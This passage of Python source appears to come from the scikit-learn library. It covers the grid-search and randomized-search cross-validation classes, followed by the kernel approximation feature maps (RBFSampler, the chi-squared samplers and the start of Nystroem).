        Number of test samples in this split.
    """
    score, n_samples_test, _ = _fit_and_score(estimator, X, y, scorer, train,
                                              test, verbose, parameters,
                                              fit_params, error_score)
    return score, parameters, n_samples_test


def _check_param_grid(param_grid):
    if hasattr(param_grid, 'items'):
        param_grid = [param_grid]

    for p in param_grid:
        for v in p.values():
            if isinstance(v, np.ndarray) and v.ndim > 1:
                raise ValueError("Parameter array should be one-dimensional.")

            check = [isinstance(v, k) for k in (list, tuple, np.ndarray)]
            if True not in check:
                raise ValueError("Parameter values should be a list.")

            if len(v) == 0:
                raise ValueError("Parameter values should be a non-empty "
                                 "list.")


class _CVScoreTuple (namedtuple('_CVScoreTuple',
                                ('parameters',
                                 'mean_validation_score',
                                 'cv_validation_scores'))):
    # A raw namedtuple is very memory efficient as it packs the attributes
    # in a struct to get rid of the __dict__ of attributes in particular it
    # does not copy the string for the keys on each instance.
    # By deriving a namedtuple class just to introduce the __repr__ method we
    # would also reintroduce the __dict__ on the instance. By telling the
    # Python interpreter that this subclass uses static __slots__ instead of
    # dynamic attributes. Furthermore we don't need any additional slot in the
    # subclass so we set __slots__ to the empty tuple.
    __slots__ = ()

    def __repr__(self):
        """Simple custom repr to summarize the main info"""
        return "mean: {0:.5f}, std: {1:.5f}, params: {2}".format(
            self.mean_validation_score,
            np.std(self.cv_validation_scores),
            self.parameters)


class BaseSearchCV(six.with_metaclass(ABCMeta, BaseEstimator,
                                      MetaEstimatorMixin)):
    """Base class for hyper parameter search with cross-validation."""

    @abstractmethod
    def __init__(self, estimator, scoring=None,
                 fit_params=None, n_jobs=1, iid=True,
                 refit=True, cv=None, verbose=0, pre_dispatch='2*n_jobs',
                 error_score='raise'):

        self.scoring = scoring
        self.estimator = estimator
        self.n_jobs = n_jobs
        self.fit_params = fit_params if fit_params is not None else {}
        self.iid = iid
        self.refit = refit
        self.cv = cv
        self.verbose = verbose
        self.pre_dispatch = pre_dispatch
        self.error_score = error_score

    @property
    def _estimator_type(self):
        return self.estimator._estimator_type

    def score(self, X, y=None):
        """Returns the score on the given data, if the estimator has been refit.

        This uses the score defined by ``scoring`` where provided, and the
        ``best_estimator_.score`` method otherwise.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Input data, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_output], optional
            Target relative to X for classification or regression;
            None for unsupervised learning.

        Returns
        -------
        score : float

        Notes
        -----
         * The long-standing behavior of this method changed in version 0.16.
         * It no longer uses the metric provided by ``estimator.score`` if the
           ``scoring`` parameter was set when fitting.

        """
        if self.scorer_ is None:
            raise ValueError("No score function explicitly defined, "
                             "and the estimator doesn't provide one %s"
                             % self.best_estimator_)
        if self.scoring is not None and hasattr(self.best_estimator_, 'score'):
            warnings.warn("The long-standing behavior to use the estimator's "
                          "score function in {0}.score has changed. The "
                          "scoring parameter is now used."
                          "".format(self.__class__.__name__),
                          ChangedBehaviorWarning)
        return self.scorer_(self.best_estimator_, X, y)

    @if_delegate_has_method(delegate='estimator')
    def predict(self, X):
        """Call predict on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``predict``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.predict(X)

    @if_delegate_has_method(delegate='estimator')
    def predict_proba(self, X):
        """Call predict_proba on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``predict_proba``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.predict_proba(X)

    @if_delegate_has_method(delegate='estimator')
    def predict_log_proba(self, X):
        """Call predict_log_proba on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``predict_log_proba``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.predict_log_proba(X)

    @if_delegate_has_method(delegate='estimator')
    def decision_function(self, X):
        """Call decision_function on the estimator with the best found parameters.

        Only available if ``refit=True`` and the underlying estimator supports
        ``decision_function``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.decision_function(X)

    @if_delegate_has_method(delegate='estimator')
    def transform(self, X):
        """Call transform on the estimator with the best found parameters.

        Only available if the underlying estimator supports ``transform`` and
        ``refit=True``.

        Parameters
        -----------
        X : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.transform(X)

    @if_delegate_has_method(delegate='estimator')
    def inverse_transform(self, Xt):
        """Call inverse_transform on the estimator with the best found parameters.

        Only available if the underlying estimator implements ``inverse_transform`` and
        ``refit=True``.

        Parameters
        -----------
        Xt : indexable, length n_samples
            Must fulfill the input assumptions of the
            underlying estimator.

        """
        return self.best_estimator_.transform(Xt)

    def _fit(self, X, y, parameter_iterable):
        """Actual fitting,  performing the search over parameters."""

        estimator = self.estimator
        cv = self.cv
        self.scorer_ = check_scoring(self.estimator, scoring=self.scoring)

        n_samples = _num_samples(X)
        X, y = indexable(X, y)

        if y is not None:
            if len(y) != n_samples:
                raise ValueError('Target variable (y) has a different number '
                                 'of samples (%i) than data (X: %i samples)'
                                 % (len(y), n_samples))
        cv = check_cv(cv, X, y, classifier=is_classifier(estimator))

        if self.verbose > 0:
            if isinstance(parameter_iterable, Sized):
                n_candidates = len(parameter_iterable)
                print("Fitting {0} folds for each of {1} candidates, totalling"
                      " {2} fits".format(len(cv), n_candidates,
                                         n_candidates * len(cv)))

        base_estimator = clone(self.estimator)

        pre_dispatch = self.pre_dispatch

        out = Parallel(
            n_jobs=self.n_jobs, verbose=self.verbose,
            pre_dispatch=pre_dispatch
        )(
            delayed(_fit_and_score)(clone(base_estimator), X, y, self.scorer_,
                                    train, test, self.verbose, parameters,
                                    self.fit_params, return_parameters=True,
                                    error_score=self.error_score)
                for parameters in parameter_iterable
                for train, test in cv)

        # Out is a list of triplet: score, estimator, n_test_samples
        n_fits = len(out)
        n_folds = len(cv)

        scores = list()
        grid_scores = list()
        for grid_start in range(0, n_fits, n_folds):
            n_test_samples = 0
            score = 0
            all_scores = []
            for this_score, this_n_test_samples, _, parameters in \
                    out[grid_start:grid_start + n_folds]:
                all_scores.append(this_score)
                if self.iid:
                    this_score *= this_n_test_samples
                    n_test_samples += this_n_test_samples
                score += this_score
            if self.iid:
                score /= float(n_test_samples)
            else:
                score /= float(n_folds)
            scores.append((score, parameters))
            # TODO: shall we also store the test_fold_sizes?
            grid_scores.append(_CVScoreTuple(
                parameters,
                score,
                np.array(all_scores)))
        # Store the computed scores
        self.grid_scores_ = grid_scores

        # Find the best parameters by comparing on the mean validation score:
        # note that `sorted` is deterministic in the way it breaks ties
        best = sorted(grid_scores, key=lambda x: x.mean_validation_score,
                      reverse=True)[0]
        self.best_params_ = best.parameters
        self.best_score_ = best.mean_validation_score

        if self.refit:
            # fit the best estimator using the entire dataset
            # clone first to work around broken estimators
            best_estimator = clone(base_estimator).set_params(
                **best.parameters)
            if y is not None:
                best_estimator.fit(X, y, **self.fit_params)
            else:
                best_estimator.fit(X, **self.fit_params)
            self.best_estimator_ = best_estimator
        return self


class GridSearchCV(BaseSearchCV):
    """Exhaustive search over specified parameter values for an estimator.

    Important members are fit, predict.

    GridSearchCV implements a "fit" and a "score" method.
    It also implements "predict", "predict_proba", "decision_function",
    "transform" and "inverse_transform" if they are implemented in the
    estimator used.

    The parameters of the estimator used to apply these methods are optimized
    by cross-validated grid-search over a parameter grid.

    Read more in the :ref:`User Guide <grid_search>`.

    Parameters
    ----------
    estimator : estimator object.
        A object of that type is instantiated for each grid point.
        This is assumed to implement the scikit-learn estimator interface.
        Either estimator needs to provide a ``score`` function,
        or ``scoring`` must be passed.

    param_grid : dict or list of dictionaries
        Dictionary with parameters names (string) as keys and lists of
        parameter settings to try as values, or a list of such
        dictionaries, in which case the grids spanned by each dictionary
        in the list are explored. This enables searching over any sequence
        of parameter settings.

    scoring : string, callable or None, default=None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.
        If ``None``, the ``score`` method of the estimator is used.

    fit_params : dict, optional
        Parameters to pass to the fit method.

    n_jobs : int, default=1
        Number of jobs to run in parallel.

        .. versionchanged:: 0.17
           Upgraded to joblib 0.9.3.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    iid : boolean, default=True
        If True, the data is assumed to be identically distributed across
        the folds, and the loss minimized is the total loss per sample,
        and not the mean loss across the folds.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, 
        :class:`sklearn.model_selection.StratifiedKFold` is used. In all
        other cases, :class:`sklearn.model_selection.KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    refit : boolean, default=True
        Refit the best estimator with the entire dataset.
        If "False", it is impossible to make predictions using
        this GridSearchCV instance after fitting.

    verbose : integer
        Controls the verbosity: the higher, the more messages.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.


    Examples
    --------
    >>> from sklearn import svm, grid_search, datasets
    >>> iris = datasets.load_iris()
    >>> parameters = {'kernel':('linear', 'rbf'), 'C':[1, 10]}
    >>> svr = svm.SVC()
    >>> clf = grid_search.GridSearchCV(svr, parameters)
    >>> clf.fit(iris.data, iris.target)
    ...                             # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    GridSearchCV(cv=None, error_score=...,
           estimator=SVC(C=1.0, cache_size=..., class_weight=..., coef0=...,
                         decision_function_shape=None, degree=..., gamma=...,
                         kernel='rbf', max_iter=-1, probability=False,
                         random_state=None, shrinking=True, tol=...,
                         verbose=False),
           fit_params={}, iid=..., n_jobs=1,
           param_grid=..., pre_dispatch=..., refit=...,
           scoring=..., verbose=...)


    Attributes
    ----------
    grid_scores_ : list of named tuples
        Contains scores for all parameter combinations in param_grid.
        Each entry corresponds to one parameter setting.
        Each named tuple has the attributes:

            * ``parameters``, a dict of parameter settings
            * ``mean_validation_score``, the mean score over the
              cross-validation folds
            * ``cv_validation_scores``, the list of scores for each fold

    best_estimator_ : estimator
        Estimator that was chosen by the search, i.e. estimator
        which gave highest score (or smallest loss if specified)
        on the left out data. Not available if refit=False.

    best_score_ : float
        Score of best_estimator on the left out data.

    best_params_ : dict
        Parameter setting that gave the best results on the hold out data.

    scorer_ : function
        Scorer function used on the held out data to choose the best
        parameters for the model.

    Notes
    ------
    The parameters selected are those that maximize the score of the left out
    data, unless an explicit score is passed in which case it is used instead.

    If `n_jobs` was set to a value higher than one, the data is copied for each
    point in the grid (and not `n_jobs` times). This is done for efficiency
    reasons if individual jobs take very little time, but may raise errors if
    the dataset is large and not enough memory is available.  A workaround in
    this case is to set `pre_dispatch`. Then, the memory is copied only
    `pre_dispatch` many times. A reasonable value for `pre_dispatch` is `2 *
    n_jobs`.

    See Also
    ---------
    :class:`ParameterGrid`:
        generates all the combinations of a hyperparameter grid.

    :func:`sklearn.cross_validation.train_test_split`:
        utility function to split the data into a development set usable
        for fitting a GridSearchCV instance and an evaluation set for
        its final evaluation.

    :func:`sklearn.metrics.make_scorer`:
        Make a scorer from a performance metric or loss function.

    """

    def __init__(self, estimator, param_grid, scoring=None, fit_params=None,
                 n_jobs=1, iid=True, refit=True, cv=None, verbose=0,
                 pre_dispatch='2*n_jobs', error_score='raise'):

        super(GridSearchCV, self).__init__(
            estimator, scoring, fit_params, n_jobs, iid,
            refit, cv, verbose, pre_dispatch, error_score)
        self.param_grid = param_grid
        _check_param_grid(param_grid)

    def fit(self, X, y=None):
        """Run fit with all sets of parameters.

        Parameters
        ----------

        X : array-like, shape = [n_samples, n_features]
            Training vector, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_output], optional
            Target relative to X for classification or regression;
            None for unsupervised learning.

        """
        return self._fit(X, y, ParameterGrid(self.param_grid))


class RandomizedSearchCV(BaseSearchCV):
    """Randomized search on hyper parameters.


    RandomizedSearchCV implements a "fit" and a "score" method.
    It also implements "predict", "predict_proba", "decision_function",
    "transform" and "inverse_transform" if they are implemented in the
    estimator used.

    The parameters of the estimator used to apply these methods are optimized
    by cross-validated search over parameter settings.

    In contrast to GridSearchCV, not all parameter values are tried out, but
    rather a fixed number of parameter settings is sampled from the specified
    distributions. The number of parameter settings that are tried is
    given by n_iter.

    If all parameters are presented as a list,
    sampling without replacement is performed. If at least one parameter
    is given as a distribution, sampling with replacement is used.
    It is highly recommended to use continuous distributions for continuous
    parameters.

    Read more in the :ref:`User Guide <randomized_parameter_search>`.

    Parameters
    ----------
    estimator : estimator object.
        A object of that type is instantiated for each grid point.
        This is assumed to implement the scikit-learn estimator interface.
        Either estimator needs to provide a ``score`` function,
        or ``scoring`` must be passed.

    param_distributions : dict
        Dictionary with parameters names (string) as keys and distributions
        or lists of parameters to try. Distributions must provide a ``rvs``
        method for sampling (such as those from scipy.stats.distributions).
        If a list is given, it is sampled uniformly.

    n_iter : int, default=10
        Number of parameter settings that are sampled. n_iter trades
        off runtime vs quality of the solution.

    scoring : string, callable or None, default=None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.
        If ``None``, the ``score`` method of the estimator is used.

    fit_params : dict, optional
        Parameters to pass to the fit method.

    n_jobs : int, default=1
        Number of jobs to run in parallel.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    iid : boolean, default=True
        If True, the data is assumed to be identically distributed across
        the folds, and the loss minimized is the total loss per sample,
        and not the mean loss across the folds.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, 
        :class:`sklearn.model_selection.StratifiedKFold` is used. In all
        other cases, :class:`sklearn.model_selection.KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    refit : boolean, default=True
        Refit the best estimator with the entire dataset.
        If "False", it is impossible to make predictions using
        this RandomizedSearchCV instance after fitting.

    verbose : integer
        Controls the verbosity: the higher, the more messages.

    random_state : int or RandomState
        Pseudo random number generator state used for random uniform sampling
        from lists of possible values instead of scipy.stats distributions.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.


    Attributes
    ----------
    grid_scores_ : list of named tuples
        Contains scores for all parameter combinations in param_grid.
        Each entry corresponds to one parameter setting.
        Each named tuple has the attributes:

            * ``parameters``, a dict of parameter settings
            * ``mean_validation_score``, the mean score over the
              cross-validation folds
            * ``cv_validation_scores``, the list of scores for each fold

    best_estimator_ : estimator
        Estimator that was chosen by the search, i.e. estimator
        which gave highest score (or smallest loss if specified)
        on the left out data. Not available if refit=False.

    best_score_ : float
        Score of best_estimator on the left out data.

    best_params_ : dict
        Parameter setting that gave the best results on the hold out data.

    Notes
    -----
    The parameters selected are those that maximize the score of the held-out
    data, according to the scoring parameter.

    If `n_jobs` was set to a value higher than one, the data is copied for each
    parameter setting(and not `n_jobs` times). This is done for efficiency
    reasons if individual jobs take very little time, but may raise errors if
    the dataset is large and not enough memory is available.  A workaround in
    this case is to set `pre_dispatch`. Then, the memory is copied only
    `pre_dispatch` many times. A reasonable value for `pre_dispatch` is `2 *
    n_jobs`.

    See Also
    --------
    :class:`GridSearchCV`:
        Does exhaustive search over a grid of parameters.

    :class:`ParameterSampler`:
        A generator over parameter settings, constructed from
        param_distributions.

    """

    def __init__(self, estimator, param_distributions, n_iter=10, scoring=None,
                 fit_params=None, n_jobs=1, iid=True, refit=True, cv=None,
                 verbose=0, pre_dispatch='2*n_jobs', random_state=None,
                 error_score='raise'):

        self.param_distributions = param_distributions
        self.n_iter = n_iter
        self.random_state = random_state
        super(RandomizedSearchCV, self).__init__(
            estimator=estimator, scoring=scoring, fit_params=fit_params,
            n_jobs=n_jobs, iid=iid, refit=refit, cv=cv, verbose=verbose,
            pre_dispatch=pre_dispatch, error_score=error_score)

    def fit(self, X, y=None):
        """Run fit on the estimator with randomly drawn parameters.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_output], optional
            Target relative to X for classification or regression;
            None for unsupervised learning.

        """
        sampled_params = ParameterSampler(self.param_distributions,
                                          self.n_iter,
                                          random_state=self.random_state)
        return self._fit(X, y, sampled_params)






"""
The :mod:`sklearn.kernel_approximation` module implements several
approximate kernel feature maps base on Fourier transforms.
"""

# Author: Andreas Mueller <amueller@ais.uni-bonn.de>
#
# License: BSD 3 clause

import warnings

import numpy as np
import scipy.sparse as sp
from scipy.linalg import svd

from .base import BaseEstimator
from .base import TransformerMixin
from .utils import check_array, check_random_state, as_float_array
from .utils.extmath import safe_sparse_dot
from .utils.validation import check_is_fitted
from .metrics.pairwise import pairwise_kernels


class RBFSampler(BaseEstimator, TransformerMixin):
    """Approximates feature map of an RBF kernel by Monte Carlo approximation
    of its Fourier transform.

    It implements a variant of Random Kitchen Sinks.[1]

    Read more in the :ref:`User Guide <rbf_kernel_approx>`.

    Parameters
    ----------
    gamma : float
        Parameter of RBF kernel: exp(-gamma * x^2)

    n_components : int
        Number of Monte Carlo samples per original feature.
        Equals the dimensionality of the computed feature space.

    random_state : {int, RandomState}, optional
        If int, random_state is the seed used by the random number generator;
        if RandomState instance, random_state is the random number generator.

    Notes
    -----
    See "Random Features for Large-Scale Kernel Machines" by A. Rahimi and
    Benjamin Recht.

    [1] "Weighted Sums of Random Kitchen Sinks: Replacing
    minimization with randomization in learning" by A. Rahimi and
    Benjamin Recht.
    (http://people.eecs.berkeley.edu/~brecht/papers/08.rah.rec.nips.pdf)
    """

    def __init__(self, gamma=1., n_components=100, random_state=None):
        self.gamma = gamma
        self.n_components = n_components
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model with X.

        Samples random projection according to n_features.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the transformer.
        """

        X = check_array(X, accept_sparse='csr')
        random_state = check_random_state(self.random_state)
        n_features = X.shape[1]

        self.random_weights_ = (np.sqrt(2 * self.gamma) * random_state.normal(
            size=(n_features, self.n_components)))

        self.random_offset_ = random_state.uniform(0, 2 * np.pi,
                                                   size=self.n_components)
        return self

    def transform(self, X, y=None):
        """Apply the approximate feature map to X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            New data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)
        """
        check_is_fitted(self, 'random_weights_')

        X = check_array(X, accept_sparse='csr')
        projection = safe_sparse_dot(X, self.random_weights_)
        projection += self.random_offset_
        np.cos(projection, projection)
        projection *= np.sqrt(2.) / np.sqrt(self.n_components)
        return projection


class SkewedChi2Sampler(BaseEstimator, TransformerMixin):
    """Approximates feature map of the "skewed chi-squared" kernel by Monte
    Carlo approximation of its Fourier transform.

    Read more in the :ref:`User Guide <skewed_chi_kernel_approx>`.

    Parameters
    ----------
    skewedness : float
        "skewedness" parameter of the kernel. Needs to be cross-validated.

    n_components : int
        number of Monte Carlo samples per original feature.
        Equals the dimensionality of the computed feature space.

    random_state : {int, RandomState}, optional
        If int, random_state is the seed used by the random number generator;
        if RandomState instance, random_state is the random number generator.

    References
    ----------
    See "Random Fourier Approximations for Skewed Multiplicative Histogram
    Kernels" by Fuxin Li, Catalin Ionescu and Cristian Sminchisescu.

    See also
    --------
    AdditiveChi2Sampler : A different approach for approximating an additive
        variant of the chi squared kernel.

    sklearn.metrics.pairwise.chi2_kernel : The exact chi squared kernel.
    """

    def __init__(self, skewedness=1., n_components=100, random_state=None):
        self.skewedness = skewedness
        self.n_components = n_components
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model with X.

        Samples random projection according to n_features.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the transformer.
        """

        X = check_array(X)
        random_state = check_random_state(self.random_state)
        n_features = X.shape[1]
        uniform = random_state.uniform(size=(n_features, self.n_components))
        # transform by inverse CDF of sech
        self.random_weights_ = (1. / np.pi
                                * np.log(np.tan(np.pi / 2. * uniform)))
        self.random_offset_ = random_state.uniform(0, 2 * np.pi,
                                                   size=self.n_components)
        return self

    def transform(self, X, y=None):
        """Apply the approximate feature map to X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            New data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)
        """
        check_is_fitted(self, 'random_weights_')

        X = as_float_array(X, copy=True)
        X = check_array(X, copy=False)
        if (X < 0).any():
            raise ValueError("X may not contain entries smaller than zero.")

        X += self.skewedness
        np.log(X, X)
        projection = safe_sparse_dot(X, self.random_weights_)
        projection += self.random_offset_
        np.cos(projection, projection)
        projection *= np.sqrt(2.) / np.sqrt(self.n_components)
        return projection


class AdditiveChi2Sampler(BaseEstimator, TransformerMixin):
    """Approximate feature map for additive chi2 kernel.

    Uses sampling the fourier transform of the kernel characteristic
    at regular intervals.

    Since the kernel that is to be approximated is additive, the components of
    the input vectors can be treated separately.  Each entry in the original
    space is transformed into 2*sample_steps+1 features, where sample_steps is
    a parameter of the method. Typical values of sample_steps include 1, 2 and
    3.

    Optimal choices for the sampling interval for certain data ranges can be
    computed (see the reference). The default values should be reasonable.

    Read more in the :ref:`User Guide <additive_chi_kernel_approx>`.

    Parameters
    ----------
    sample_steps : int, optional
        Gives the number of (complex) sampling points.
    sample_interval : float, optional
        Sampling interval. Must be specified when sample_steps not in {1,2,3}.

    Notes
    -----
    This estimator approximates a slightly different version of the additive
    chi squared kernel then ``metric.additive_chi2`` computes.

    See also
    --------
    SkewedChi2Sampler : A Fourier-approximation to a non-additive variant of
        the chi squared kernel.

    sklearn.metrics.pairwise.chi2_kernel : The exact chi squared kernel.

    sklearn.metrics.pairwise.additive_chi2_kernel : The exact additive chi
        squared kernel.

    References
    ----------
    See `"Efficient additive kernels via explicit feature maps"
    <http://www.robots.ox.ac.uk/~vedaldi/assets/pubs/vedaldi11efficient.pdf>`_
    A. Vedaldi and A. Zisserman, Pattern Analysis and Machine Intelligence,
    2011
    """

    def __init__(self, sample_steps=2, sample_interval=None):
        self.sample_steps = sample_steps
        self.sample_interval = sample_interval

    def fit(self, X, y=None):
        """Set parameters."""
        X = check_array(X, accept_sparse='csr')
        if self.sample_interval is None:
            # See reference, figure 2 c)
            if self.sample_steps == 1:
                self.sample_interval_ = 0.8
            elif self.sample_steps == 2:
                self.sample_interval_ = 0.5
            elif self.sample_steps == 3:
                self.sample_interval_ = 0.4
            else:
                raise ValueError("If sample_steps is not in [1, 2, 3],"
                                 " you need to provide sample_interval")
        else:
            self.sample_interval_ = self.sample_interval
        return self

    def transform(self, X, y=None):
        """Apply approximate feature map to X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = (n_samples, n_features)

        Returns
        -------
        X_new : {array, sparse matrix}, \
               shape = (n_samples, n_features * (2*sample_steps + 1))
            Whether the return value is an array of sparse matrix depends on
            the type of the input X.
        """
        msg = ("%(name)s is not fitted. Call fit to set the parameters before"
               " calling transform")
        check_is_fitted(self, "sample_interval_", msg=msg)

        X = check_array(X, accept_sparse='csr')
        sparse = sp.issparse(X)

        # check if X has negative values. Doesn't play well with np.log.
        if ((X.data if sparse else X) < 0).any():
            raise ValueError("Entries of X must be non-negative.")
        # zeroth component
        # 1/cosh = sech
        # cosh(0) = 1.0

        transf = self._transform_sparse if sparse else self._transform_dense
        return transf(X)

    def _transform_dense(self, X):
        non_zero = (X != 0.0)
        X_nz = X[non_zero]

        X_step = np.zeros_like(X)
        X_step[non_zero] = np.sqrt(X_nz * self.sample_interval_)

        X_new = [X_step]

        log_step_nz = self.sample_interval_ * np.log(X_nz)
        step_nz = 2 * X_nz * self.sample_interval_

        for j in range(1, self.sample_steps):
            factor_nz = np.sqrt(step_nz /
                                np.cosh(np.pi * j * self.sample_interval_))

            X_step = np.zeros_like(X)
            X_step[non_zero] = factor_nz * np.cos(j * log_step_nz)
            X_new.append(X_step)

            X_step = np.zeros_like(X)
            X_step[non_zero] = factor_nz * np.sin(j * log_step_nz)
            X_new.append(X_step)

        return np.hstack(X_new)

    def _transform_sparse(self, X):
        indices = X.indices.copy()
        indptr = X.indptr.copy()

        data_step = np.sqrt(X.data * self.sample_interval_)
        X_step = sp.csr_matrix((data_step, indices, indptr),
                               shape=X.shape, dtype=X.dtype, copy=False)
        X_new = [X_step]

        log_step_nz = self.sample_interval_ * np.log(X.data)
        step_nz = 2 * X.data * self.sample_interval_

        for j in range(1, self.sample_steps):
            factor_nz = np.sqrt(step_nz /
                                np.cosh(np.pi * j * self.sample_interval_))

            data_step = factor_nz * np.cos(j * log_step_nz)
            X_step = sp.csr_matrix((data_step, indices, indptr),
                                   shape=X.shape, dtype=X.dtype, copy=False)
            X_new.append(X_step)

            data_step = factor_nz * np.sin(j * log_step_nz)
            X_step = sp.csr_matrix((data_step, indices, indptr),
                                   shape=X.shape, dtype=X.dtype, copy=False)
            X_new.append(X_step)

        return sp.hstack(X_new)


class Nystroem(BaseEstimator, TransformerMixin):
    """Approximate a kernel map using a subset of the training data.

    Constructs an approximate feature map for an arbitrary kernel
    using a subset of the data as basis.

    Read more in the :ref:`User Guide <nystroem_kernel_approx>`.

    Parameters
    ----------
    kernel : string or callable, default="rbf"
        Kernel map to be approximated. A callable should accept two arguments
        and the keyword arguments passed to this object as kernel_params, and
        should return a floating point number.

    n_components : int
        Number of features to construct.
        How many data points will be used to construct the mapping.

    gamma : float, default=None
        Gamma parameter for the RBF, polynomial, exponential chi2 and
        sigmoid kernels. Interpretation of the default value is left to
        the kernel; see the documentation for sklearn.metrics.pairwise.
        Ignored by other kernels.

    degree : float, default=3
        Degree of the polynomial kernel. Ignored by other kernels.

    coef0 : float, default=1
        Zero coefficient for polynomial and sigmoid kernels.
        Ignored by other kernels.

    kernel_params : mapping of string to any, optional
        Additional parameters (keyword arguments) for kernel function passed
        as callable object.

    random_state : {int, RandomState}, optional
        If int, random_state is the seed used by the random number generator;
        if RandomState instance, random_state is the random number generator.


    Attributes
    ----------
    components_ : array, shape (n_components, n_features)
        Subset of training points used to construct the feature map.

    component_indices_ : array, shape (n_components)
        Indices of ``components_`` in the training set.

    normalization_ : array, shape (n_components, n_components)
        Normalization matrix needed for embedding.
        Square root of the kernel matrix on ``components_``.


    References
    ----------
    * Williams, C.K.I. and Seeger, M.
      "Using the Nystroem method to speed up kernel machines",
      Advances in neural information processing systems 2001

    * T. Yang, Y. Li, M. Mahdavi, R. Jin and Z. Zhou
      "Nystroem Method vs Random Fourier Features: A Theoretical and Empirical
      Comparison",
      Advances in Neural Information Processing Systems 2012


    See also
    --------
    RBFSampler : An approximation to the RBF kernel using random Fourier
                 features.

    sklearn.metrics.pairwise.kernel_metrics : List of built-in kernels.
    """
    def __init__(self, kernel="rbf", gamma=None, coef0=1, degree=3,
                 kernel_params=None, n_components=100, random_state=None):
        self.kernel = kernel
        self.gamma = gamma
        self.coef0 = coef0
        self.degree = degree
        self.kernel_params = kernel_params
        self.n_components = n_components
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit estimator to data.

        Samples a subset of training points, computes kernel
        on these and computes normalization matrix.

        Parameters
        ----------
        X : array-like, shape=(n_samples, n_feature)
            Training data.
        """
        X = check_array(X, accept_sparse='csr')
        rnd = check_random_state(self.random_state)
        n_samples = X.shape[0]

        # get basis vectors
        if self.n_components > n_samples:
            # XXX should we just bail?
            n_components = n_samples
            warnings.warn("n_components > n_samples. This is not possible.\n"
                          "n_components was set to n_samples, which results"
                          " in inefficient evaluation of the full kernel.")

        else:
            n_components = self.n_components
        n_components = min(n_samples, n_components)
        inds = rnd.permutation(n_samples)
        basis_inds = inds[:n_components]
        basis = X[basis_inds]

        basis_kernel = pairwise_kernels(basis, metric=self.kernel,
                                        filter_params=True,
                                        **self._get_kernel_params())

        # sqrt of kernel matrix on basis vectors
        U, S, V = svd(basis_kernel)
        S = np.maximum(S, 1e-12)
